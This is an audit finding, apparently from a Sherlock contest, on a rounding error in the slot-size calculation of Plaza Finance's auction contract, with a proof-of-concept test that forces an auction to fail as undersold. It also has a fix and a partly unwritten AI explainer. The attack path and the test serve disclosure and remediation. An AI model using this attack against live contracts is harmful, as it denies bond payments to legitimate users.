Rounding loss in Auction#slotSize allows malicious user to force auction to be undersold
A rounding error in the auction's slot size calculation allows a malicious user to spam the maximum number of bids with amounts equal to the slot size, forcing the auction to fail as undersold despite receiving sufficient total funds. This prevents bond payments and denies service to legitimate users.
0x52 Follow with 0xloophole, ZoA and 2 others
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/449
Found by
0x52, 0xloophole, ZoA, bladeee, moray5554
Summary
When an auction reaches the max number of bids it begins rolling the lowest bids off the list. To prevent high price low value bids from spamming out legitimate bids it enforces that the bid is a even division of slotSize(). This protection is not complete due to precision loss in it calculation. If a malicious user spams max number of bids of size == slotSize(), they can force and underfunded auction to occur, DOS'ing users and preventing funding.
Root Cause
Auction.sol#L382-L384 does not account for precision loss allowing it to be exploited
Internal preconditions
None
External preconditions
None
Attack Path
- Spam max bids at size == slotSize
- Wait for auction to end
- End auction in failure
- Refund all bids
Impact
Bond payments can be indefinitely DOS'd due to forcing auctions to fail
POC
Tests for all vulnerabilities can be found here.
Insert the following test into Pool.t.sol
function testDOSAuction() public {
//test setup
Token rToken = Token(params.reserveToken);
Token cToken = Token(params.couponToken);
vm.prank(user);
address auction = Utils.deploy(
address(new Auction()),
abi.encodeWithSelector(
Auction.initialize.selector,
address(cToken),
address(rToken),
5000e6 + 1,
block.timestamp + 1 days,
10, // max bids set to 10 for simplicity of the test
address(this),
90
));
cToken.mint(user, 1e18);
cToken.mint(user2, 1e18);
vm.prank(user);
cToken.approve(auction, type(uint256).max);
vm.prank(user2);
cToken.approve(auction, type(uint256).max);
vm.prank(user);
Auction(auction).bid(1e6, 5000e6);
for(uint i=0; i<10; i++){
vm.prank(user2);
Auction(auction).bid(0.05e6, 500e6);
}
vm.warp(Auction(auction).endTime());
Auction(auction).endAuction();
// auction has received a total of 10000e6 worth of bids but still fails due to rounding error
assert(Auction(auction).state() == Auction.State.FAILED_UNDERSOLD);
}
Output:
[PASS] testDOSAuction()
In the above test the auction receives a total of 10000e6 worth of bids but still fails as UNDERSOLD due to the issue described above.
Mitigation
slotSize() should be totalBuyCouponAmount / maxBids + 1 rather than totalBuyCouponAmount / maxBids
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/Convexity-Research/plaza-evm/pull/166
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the slot size calculation uses integer division without adding 1, causing precision loss that allows bids smaller than intended to be accepted.
Impact
Bond payments can be indefinitely denied service because auctions can be forced to fail.
What the attacker needed
Attacker has enough funds to place max bids; auction has a maximum bid limit
The fix
The slot size calculation should add 1 to the result of the division to avoid rounding down.
How it was found
- Spam the maximum number of bids with amount equal to slotSize.
- Wait for the auction to end.
- End the auction, which fails as undersold.
- All bids are refunded.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An auction has a limit on how many bids it can hold. When it's full, new bids push out the lowest ones. The code tries to stop spam by requiring each bid to be a certain minimum size, but a rounding mistake makes that minimum slightly too small. An attacker can exploit this to fill the auction with tiny bids, making it fail even though enough money was offered.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.